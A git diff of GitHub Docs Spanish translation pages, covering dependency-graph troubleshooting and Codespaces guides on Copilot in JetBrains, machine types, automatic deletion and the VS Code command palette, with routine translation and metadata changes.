data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates)". +- **{% data variables.product.prodname_dependabot_version_updates %}** : no está habilitado de forma predeterminada. Las personas con permisos de escritura en un repositorio pueden habilitar las {% data variables.product.prodname_dependabot_version_updates %}. Para obtener información sobre cómo habilitar las actualizaciones de versiones, consulta "[Configuración de {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates)". {% endif %} diff --git a/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md b/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md index 2ea290fe37..e65a8033a9 100644 --- a/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md +++ b/translations/es-ES/content/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph.md @@ -1,6 +1,6 @@ --- -title: Troubleshooting the dependency graph -intro: 'If the dependency information reported by the dependency graph is not what you expected, there are a number of points to consider, and various things you can check.' +title: Solución de problemas del gráfico de dependencias +intro: 'Si la información de la dependencia que se notifica en el gráfico de dependencias no es lo que esperabas, debes tener en cuenta varias cuestiones y comprobar diversos elementos.' shortTitle: Troubleshoot dependency graph versions: fpt: '*' @@ -16,51 +16,56 @@ topics: - Dependency graph - CVEs - Repositories +ms.openlocfilehash: 30c4830c125e9b20ada59e0e0e29fa0eb5c6c649 +ms.sourcegitcommit: a9af58ef52d8d109186053d184d9b1e52e5f0323 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 11/02/2022 +ms.locfileid: '148128908' --- - {% data reusables.dependabot.result-discrepancy %} -## Does the dependency graph only find dependencies in manifests and lockfiles? +## ¿Acaso la gráfica de dependencias solo encuentra depedencias en los manifiestos y lockfiles? -The dependency graph {% ifversion dependency-submission-api %}automatically{% endif %} includes information on dependencies that are explicitly declared in your environment. That is, dependencies that are specified in a manifest or a lockfile. The dependency graph generally also includes transitive dependencies, even when they aren't specified in a lockfile, by looking at the dependencies of the dependencies in a manifest file. +El gráfico de dependencias incluye{% ifversion dependency-submission-api %} de forma automática{% endif %} información sobre las dependencias que se declaran explícitamente en el entorno. Esto es, dependencias que se especifican en un manifiesto o en un lockfile. La gráfica de dependencias también incluye dependencias transitivas generalmente, aún cuando no se especifican en un lockfile, mediante la revisión de las dependencias de las dependencias en un archivo de manifiesto. -The dependency graph doesn't {% ifversion dependency-submission-api %}automatically{% endif %} include "loose" dependencies. "Loose" dependencies are individual files that are copied from another source and checked into the repository directly or within an archive (such as a ZIP or JAR file), rather than being referenced by in a package manager’s manifest or lockfile. +El gráfico de dependencias no incluye{% ifversion dependency-submission-api %} de forma automática{% endif %} dependencias "sueltas". Las dependencias "sueltas" son archivos individuales que se copian de otra fuernte y se revisan directamente en el repositorio o dentro de un archivo (tal como un archivo ZIP o JAR) en ves de que se referencien en un manifiesto de paquete de administrador o en un lockfile. -{% ifversion dependency-submission-api %}However, you can use the Dependency submission API (beta) to add dependencies to a project's dependency graph, even if the dependencies are not declared in a manifest or lock file, such as dependencies resolved when a project is built. The dependency graph will display the submitted dependencies grouped by ecosystem, but separately from the dependencies parsed from manifest or lock files. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %} +{% ifversion dependency-submission-api %}Aun así, puedes usar la API de envío de dependencias (beta) para agregar dependencias al gráfico de dependencias de un proyecto, incluso si las dependencias no se declaran en un archivo de manifiesto o de bloqueo, como las dependencias que se resuelven cuando se compila un proyecto. El gráfico de dependencias mostrará las dependencias enviadas agrupadas por ecosistema, pero por separado de las dependencias analizadas de los archivos de manifiesto o de bloqueo. Para obtener más información sobre la API de envío de dependencias, consulta "[Uso de la API de envío de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)".{% endif %} -**Check**: Is the missing dependency for a component that's not specified in the repository's manifest or lockfile? +**Comprobación**: ¿La dependencia que falta es para un componente sin especificar en el manifiesto o archivo de bloqueo del repositorio? -## Does the dependency graph detect dependencies specified using variables? +## ¿Acaso la gráfica de dependencias detecta dependencias que se especifican utilizando variables? -The dependency graph analyzes manifests as they’re pushed to {% data variables.product.prodname_dotcom %}. The dependency graph doesn't, therefore, have access to the build environment of the project, so it can't resolve variables used within manifests. If you use variables within a manifest to specify the name, or more commonly the version of a dependency, then that dependency will not {% ifversion dependency-submission-api %}automatically{% endif %} be included in the dependency graph. +La gráfica de dependencias analiza los manifiestos mientras se suben a {% data variables.product.prodname_dotcom %}. Por lo tanto, la gráfica de dependencias no tiene acceso al ambiente de compilación del proyecto, así que no puede resolver variables que se utilizan dentro de los manifiestos. Si usas variables dentro de un manifiesto para especificar el nombre, o más comúnmente la versión de una dependencia, dicha dependencia no se incluirá{% ifversion dependency-submission-api %} de forma automática{% endif %} en el gráfico de dependencias. -{% ifversion dependency-submission-api %}However, you can use the Dependency submission API (beta) to add dependencies to a project's dependency graph, even if the dependencies are only resolved when a project is built. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %} +{% ifversion dependency-submission-api %}Aun así, puedes usar la API de envío de dependencias (beta) para agregar dependencias al gráfico de dependencias de un proyecto, incluso si las dependencias solo se resuelven cuando se compila un proyecto. Para obtener más información sobre la API de envío de dependencias, consulta "[Uso de la API de envío de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)".{% endif %} -**Check**: Is the missing dependency declared in the manifest by using a variable for its name or version? +**Comprobación**: ¿Falta la dependencia declarada en el manifiesto mediante una variable para su nombre o versión? -## Are there limits which affect the dependency graph data? +## ¿Existen límites que afecten los datos de la gráfica de dependencias? -Yes, the dependency graph has two categories of limits: +Sí, la gráfica de dependencias tiene dos categorías de límites: -1. **Processing limits** +1. **Límites de procesamiento** - These affect the dependency graph displayed within {% data variables.product.prodname_dotcom %} and also prevent {% data variables.product.prodname_dependabot_alerts %} being created. + Estos afectan la gráfica de dependencias que se muestra dentro de {% data variables.product.prodname_dotcom %} y también previenen la creación de {% data variables.product.prodname_dependabot_alerts %}. - Manifests over 0.5 MB in size are only processed for enterprise accounts. For other accounts, manifests over 0.5 MB are ignored and will not create {% data variables.product.prodname_dependabot_alerts %}. + Los manifiestos mayores a 0.5 MB solo se procesan para las cuentas empresariales. En el caso de otras cuentas, los manifiestos mayores a 0.5 MB se ingoran y no crearán {% data variables.product.prodname_dependabot_alerts %}. - By default, {% data variables.product.prodname_dotcom %} will not process more than {% ifversion fpt %}150{% else %}600{% endif %} manifests per repository. {% data variables.product.prodname_dependabot_alerts %} are not created for manifests beyond this limit. If you need to increase the limit, contact {% data variables.contact.contact_support %}. + De manera predeterminada, {% data variables.product.prodname_dotcom %} no procesará más de {% ifversion fpt %}150{% else %}600{% endif %} manifiestos por repositorio. Las {% data variables.product.prodname_dependabot_alerts %} no se crean para los manifiestos más allá de este límite. Si necesitas incrementar el límite, contacta a {% data variables.contact.contact_support %}. -2. **Visualization limits** +2. **Límites de visualización** - These affect what's displayed in the dependency graph within {% data variables.product.prodname_dotcom %}. However, they don't affect the {% data variables.product.prodname_dependabot_alerts %} that are created. + Estos afectan a lo que se muestra en la gráfica de dependencias dentro de {% data variables.product.prodname_dotcom %}. Sin embargo, estos no afectan las {% data variables.product.prodname_dependabot_alerts %} que se crean. - The Dependencies view of the dependency graph for a repository only displays 100 manifests. Typically this is adequate as it is significantly higher than the processing limit described above. In situations where the processing limit is over 100, {% data variables.product.prodname_dependabot_alerts %} are still created for any manifests that are not shown within {% data variables.product.prodname_dotcom %}. + La vista de dependencias de la gráfica de dependencias para un repositorio solo muestra 1000 manifiestos. Habitualmente, esto es tan adecuado como es significativamente más alto que el límite de procesamiento descrito anteriormente. En situaciones en donde le límite de procesamiento es mayor a 100, las {% data variables.product.prodname_dependabot_alerts %} se crearán aún para cualquier manifiesto que no se muestre dentro de {% data variables.product.prodname_dotcom %}. -**Check**: Is the missing dependency in a manifest file that's over 0.5 MB, or in a repository with a large number of manifests? +**Comprobación**: ¿La dependencia que falta está en un archivo de manifiesto de más de 0,5 MB, o en un repositorio con una gran cantidad de manifiestos? -## Further reading +## Información adicional -- "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)" -- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" -- "[Troubleshooting the detection of vulnerable dependencies](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes %} -- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} +- "[Acerca del gráfico de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)" +- "[Administración de la configuración de seguridad y análisis para el repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" +- "[Solución de problemas de detección de dependencias vulnerables](/code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes %} +- "[Solución de errores de {% data variables.product.prodname_dependabot %}](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %} diff --git a/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md index babf02adc1..ab0baf96c0 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md @@ -6,14 +6,13 @@ versions: ghec: '*' topics: - Codespaces -product: '{% data reusables.gated-features.codespaces %}' shortTitle: Private image registry -ms.openlocfilehash: 653584296b5513b670c145f9fa2f092f5a9fdae8 -ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.openlocfilehash: c11cfe0179856caf17f30ac32830ee1485defa3c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 10/27/2022 -ms.locfileid: '148113893' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159209' --- ## Acerca de los registros de imagen y {% data variables.product.prodname_github_codespaces %} diff --git a/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md index 17af4bb2aa..0f6bc73866 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md @@ -4,7 +4,6 @@ intro: 'This article describes guidance for a disaster recovery scenario, when a versions: fpt: '*' ghec: '*' -product: '{% data reusables.gated-features.codespaces %}' topics: - Codespaces shortTitle: Disaster recovery diff --git a/translations/es-ES/content/codespaces/codespaces-reference/index.md b/translations/es-ES/content/codespaces/codespaces-reference/index.md index 3f347c7c57..0d53f5e509 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/index.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/index.md @@ -4,18 +4,18 @@ intro: 'Esta sección contiene referencias que te permitirán tener éxito con { versions: fpt: '*' ghec: '*' -product: '{% data reusables.gated-features.codespaces %}' children: - /allowing-your-codespace-to-access-a-private-image-registry - /using-github-copilot-in-github-codespaces + - /using-the-github-codespaces-plugin-for-jetbrains - /using-the-vs-code-command-palette-in-codespaces - /security-in-github-codespaces - /disaster-recovery-for-github-codespaces -ms.openlocfilehash: 3e3ebc7b7222afcb9505e1f535975feadb9515a7 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 87692cd862e791f3e6ffa2be2b07f34c6158e617 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147110846' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159201' --- diff --git a/translations/es-ES/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md index 458788f73e..48607d15d9 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md @@ -9,16 +9,87 @@ topics: - Codespaces - Copilot - Visual Studio Code -product: '{% data reusables.gated-features.codespaces %}' shortTitle: Copilot in Codespaces redirect_from: - /codespaces/codespaces-reference/using-copilot-in-codespaces - /codespaces/codespaces-reference/using-github-copilot-in-codespaces --- -## Using {% data variables.product.prodname_copilot %} +{% jetbrains %} -[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. To start using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}, install the [{% data variables.product.prodname_copilot %} extension from the {% data variables.product.prodname_vscode_marketplace %}](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot). For more information about {% data variables.product.prodname_copilot %} setup and usage, see the [{% data variables.product.prodname_copilot %} documentation](/copilot). +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} -To include {% data variables.product.prodname_copilot %}, or other extensions, in all of your codespaces, enable Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#settings-sync)." Additionally, to include {% data variables.product.prodname_copilot %} in a given project for all users, you can specify `GitHub.copilot` as an extension in your `devcontainer.json` file. For information about configuring a `devcontainer.json` file, see "[Introduction to dev containers](/codespaces/customizing-your-codespace/configuring-codespaces-for-your-project#creating-a-custom-dev-container-configuration)." +{% endjetbrains %} +{% webui %} + +## Using {% data variables.product.prodname_copilot %} in the {% data variables.product.prodname_vscode_shortname %} web client + +{% data reusables.codespaces.copilot-in-vscode %} + +{% endwebui %} + +{% vscode %} + +## Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} + +{% data reusables.codespaces.copilot-in-vscode %} + +{% endvscode %} + +{% jetbrains %} + +## Installing {% data variables.product.prodname_copilot %} in your JetBrains IDE + +[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. For more information, see "[About GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot)." + +To use {% data variables.product.prodname_copilot %} in a codespace in your JetBrains IDE, install the [{% data variables.product.prodname_copilot %} plugin](https://plugins.jetbrains.com/plugin/17718-github-copilot) from within your codespace. + +{% note %} + +**Note**: You must install the {% data variables.product.prodname_copilot %} plugin each time you create a new codespace. + +{% endnote %} + +1. In the JetBrains client application, open the Settings (Windows/Linux) or Preferences (Mac) dialog box: + + - **Windows/Linux**: Click **File** and then **Settings** (or press Ctrl+Alt+S) + - **Mac**: Click **JetBrains Client** in the MacOS menu bar, then click **Preferences** (or press command+,) + +1. In the left-side menu of the Settings/Preferences dialog box, click **Plugins On Host**. Then click the **Marketplace** tab. + + ![Screenshot of the Marketplace tab for 'Plugins On Host'](/assets/images/help/codespaces/jetbrains-preferences-plugins.png) + +1. In the search box, type "copilot" then click the **Install** button for the {% data variables.product.prodname_copilot %} plugin. + + ![Screenshot of the {% data variables.product.prodname_copilot %} plugin](/assets/images/help/codespaces/jetbrains-copilot-plugin.png) + +1. Click **Accept** on the "Third-Party Plugins Privacy Note" dialog box. +1. Click **Restart IDE**. + + ![Screenshot of the {% data variables.product.prodname_copilot %} plugin](/assets/images/help/codespaces/jetbrains-copilot-restart.png) + +1. Click **Restart** when prompted to confirm that you want to restart the backend IDE that's running remotely. The JetBrains client application will close when you do this. +1. Open the codespace again from the JetBrains Gateway application. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide#opening-a-codespace-in-your-jetbrains-ide)." +1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**. + + ![Screenshot of the JetBrains Tools menu](/assets/images/help/codespaces/jetbrains-tools-menu.png) + +1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**. + + ![Screenshot of the device code copy and open](/assets/images/help/copilot/device-code-copy-and-open.png) + +1. A device activation window will open in your browser. Paste the device code, then click **Continue**. + + - To paste the code in Windows or Linux, press Ctrl+v. + - To paste the code in macOS, press command+v. +1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. +1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**. + + ![Screenshot of the JetBrains IDE permissions confirmation](/assets/images/help/copilot/jetbrains-ide-confirmation.png) + +## Further reading + +- "[Getting started with GitHub Copilot in a JetBrains IDE](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide)" + +{% endjetbrains %} \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md index 2d7ac2aa25..b46863bb7f 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md @@ -8,7 +8,6 @@ type: reference topics: - Codespaces - Visual Studio Code -product: '{% data reusables.gated-features.codespaces %}' shortTitle: VS Code Command Palette allowTitleToDifferFromFilename: true redirect_from: @@ -35,7 +34,7 @@ You can access the {% data variables.product.prodname_vscode_command_palette_sho To see all commands related to {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "Codespaces". -![A list of all commands that relate to Codespaces](/assets/images/help/codespaces/codespaces-command-palette.png) +![A list of all commands that relate to {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-command-palette.png) ### Suspending or stopping a codespace @@ -45,9 +44,9 @@ To suspend or stop your codespace's container, [access the {% data variables.pro ![Command to stop a codespace](/assets/images/help/codespaces/codespaces-stop.png) -### Adding a dev container from a template +### Adding a predefined dev container configuration -To add a dev container from a template, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...** +To add a predefined dev container configuration, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...** ![Command to add a dev container](/assets/images/help/codespaces/add-prebuilt-container-command.png) @@ -66,3 +65,7 @@ You can use the {% data variables.product.prodname_vscode_command_palette_shortn To retrieve the logs for {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "log". Select **Codespaces: Export Logs** to export all logs related to {% data variables.product.prodname_github_codespaces %} or select **Codespaces: View Creation Logs** to view logs related to the setup. ![Command to access logs](/assets/images/help/codespaces/codespaces-logs.png) + +## Further reading + +- "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)" diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md index b823de76e1..5ee22758aa 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md @@ -1,8 +1,7 @@ --- -title: Cambiar el tipo de máquina de tu codespace +title: Changing the machine type for your codespace shortTitle: Change the machine type -intro: Puedes cambiar el tipo de máquina que ejecuta tu codespace para usar los recursos adecuados para el trabajo que estás llevando a cabo. -product: '{% data reusables.gated-features.codespaces %}' +intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for the work you''re doing.' versions: fpt: '*' ghec: '*' @@ -11,30 +10,21 @@ redirect_from: topics: - Codespaces type: how_to -ms.openlocfilehash: 618b031ce0c23c2b4eba52157fca2a6625fe3dfd -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148109827' --- -## Acerca de los tipos de máquina + +## About machine types + +{% data reusables.codespaces.codespaces-machine-types %} You can choose an alternative machine type either when you create a codespace or at any time after you've created a codespace. + +For information on choosing a machine type when you create a codespace, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." + +{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)." + +## Changing the machine type {% note %} -**Nota:** Solo puedes seleccionar o cambiar el tipo de máquina si eres miembro de una organización que usa {% data variables.product.prodname_github_codespaces %} y vas a crear un codespace en un repositorio que pertenece a esa organización. - -{% endnote %} - -{% data reusables.codespaces.codespaces-machine-types %} Puedes elegir un tipo de máquina alternativo al crear un codespace o en cualquier momento después de crearlo. - -Para obtener información sobre cómo elegir un tipo de máquina al crear un codespace, vea "[Creación de un codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". - -## Cambio del tipo de máquina - -{% note %} - -**Nota**: {% data reusables.codespaces.codespaces-machine-type-availability %} +**Note**: {% data reusables.codespaces.codespaces-machine-type-availability %} {% endnote %} @@ -42,18 +32,18 @@ Para obtener información sobre cómo elegir un tipo de máquina al crear un cod {% data reusables.codespaces.your-codespaces-procedure-step %} - Se mostrará el tipo de máquina actual para cada uno de tus codespaces. + The current machine type for each of your codespaces is displayed. - ![Lista de 'Tus codespaces'](/assets/images/help/codespaces/your-codespaces-list.png) + !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png) -1. Haga clic en los puntos suspensivos ( **…** ) situados a la derecha del codespace que quiera modificar. -1. Haga clic en **Cambiar tipo de máquina**. +{% data reusables.codespaces.ellipsis-settings %} +1. Click **Change machine type**. - ![Opción de menú 'Cambiar tipo de máquina'](/assets/images/help/codespaces/change-machine-type-menu-option.png) -1. Si hay varios tipos de máquina disponibles para tu codespace, elige aquella que quieras utilizar. + !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png) +1. If multiple machine types are available for your codespace, choose the type of machine you want to use. - ![La caja de diálogo que muestra los tipos de máquina disponibles para elegir](/assets/images/help/codespaces/change-machine-type-choice.png) -1. Haga clic en **Actualizar codespace**. + ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png) +1. Click **Update codespace**. {% endwebui %} @@ -65,39 +55,39 @@ Para obtener información sobre cómo elegir un tipo de máquina al crear un cod {% cli %} -Puedes usar el comando `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} para cambiar el tipo de equipo de un codespace. Para usar este comando, primero deberás averiguar cuáles son los tipos de máquina disponibles para el codespace. +You can use the `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} command to change the machine type of a codespace. To use this command, you'll first need to find out the available machine types for your codespace. -1. Para ver la lista de codespaces, escribe el comando siguiente en un terminal. +1. To view your list of codespaces, in a terminal, enter the following command. ``` gh codespace list ``` -1. Opcionalmente, puedes escribir el comando siguiente para buscar el tipo de máquina actual para un codespace. +1. Optionally, to find the current machine type for a codespace, enter the following command. ``` gh api /user/codespaces/CODESPACE-NAME ``` - Reemplaza `CODESPACE-NAME` por el nombre permanente del codespace, por ejemplo, `octocat-myrepo-gmc7`. Los nombres permanentes aparecen en la columna **NAME** de la lista que devuelve `gh codespace list`. + Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`. The permanent names are listed under the **NAME** column in the list returned by `gh codespace list`. - Si se te pide que solicites el ámbito `codespace`, sigue las instrucciones del terminal. + If you're prompted to request the `codespace` scope, follow the instructions in the terminal. - Los detalles de la máquina actual aparecen en el campo `machine`. -1. Para buscar los tipos de máquina disponibles para un codespace, escribe el comando siguiente. + Details for the current machine are listed under the `machine` field. +1. To find the available machine types for a codespace, enter the following command. ``` gh api /user/codespaces/CODESPACE-NAME/machines ``` - Reemplaza `CODESPACE-NAME` por el nombre permanente del codespace, por ejemplo, `octocat-myrepo-gmc7`. -1. Para cambiar el tipo de máquina de un codespace, escribe el comando siguiente. + Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`. +1. To change the machine type for a codespace, enter the following command. ``` gh codespace edit --machine MACHINE-TYPE-NAME ``` - Reemplaza `MACHINE-TYPE-NAME` por el nombre de un tipo de máquina disponible para el codespace, por ejemplo, `standardLinux32gb`. -1. Con las teclas de dirección, ve al codespace que quieres cambiar y presione ENTRAR. + Replace `MACHINE-TYPE-NAME` with the name of an available machine type for your codespace, for example `standardLinux32gb`. +1. Using the arrow keys, navigate to the codespace you want to change, then press Enter. {% endcli %} @@ -105,9 +95,9 @@ Puedes usar el comando `gh codespace edit --machine MACHINE-TYPE-NAME` {% data v {% cli %} -## Información adicional +## Further reading -- "[Máquinas de codespaces](/rest/codespaces/machines)" en la documentación de la API REST -- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) en el manual de {% data variables.product.prodname_cli %} +- "[Codespaces machines](/rest/codespaces/machines)" in the REST API documentation +- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) in the {% data variables.product.prodname_cli %} manual {% endcli %} diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md index 71cbbea96d..f0b5bc7897 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md @@ -2,7 +2,6 @@ title: Configuring automatic deletion of your codespaces shortTitle: Configure automatic deletion intro: 'Inactive codespaces are automatically deleted. You can choose how long your stopped codespaces are retained, up to a maximum of 30 days.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -97,7 +96,7 @@ You can set your default retention period in your web browser, on {% data variab You can check, in the {% data variables.product.prodname_vscode %} desktop application, whether a codespace is due to be automatically deleted soon. {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -1. Choose **{% data variables.product.prodname_github_codespaces %}** from the drop-down menu at the top right of the Remote Explorer, if it is not already selected. +1. Choose **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu at the top right of the Remote Explorer, if it is not already selected. 1. Under "GITHUB CODESPACES," position the mouse pointer over the codespace that you're interested in. A pop-up box is displayed showing you information about the codespace. If the codespace is nearing the end of its retention period, a line is included telling you when the codespace will be deleted. diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/index.md b/translations/es-ES/content/codespaces/customizing-your-codespace/index.md index 23fd4ddf12..66c335a441 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/index.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/index.md @@ -1,7 +1,6 @@ --- title: Personalizar tu codespace intro: '{% data variables.product.prodname_github_codespaces %} es un ambiente dedicado para ti. Puedes configurar tus repositorios con un contenedor de dev para definir su ambiente predeterminado de {% data variables.product.prodname_github_codespaces %} y personalizar tu experiencia de desarrollo a lo largo de tus codespaces con dotfiles y sincronización de ajustes.' -product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' ghec: '*' @@ -17,11 +16,11 @@ children: - /setting-your-default-region-for-github-codespaces - /setting-your-timeout-period-for-github-codespaces - /configuring-automatic-deletion-of-your-codespaces -ms.openlocfilehash: a986d300c7c584225cbf2505b284276f7e6511d1 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: cae6a1caddb91bbc8d67657591be0c0f14af4a56 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147110757' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159129' --- diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md b/translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md index 83e0b28741..ccd3cdb369 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account.md @@ -15,7 +15,6 @@ topics: - Codespaces - Set up - Fundamentals -product: '{% data reusables.gated-features.codespaces %}' --- @@ -23,7 +22,7 @@ product: '{% data reusables.gated-features.codespaces %}' When using any development environment, customizing the 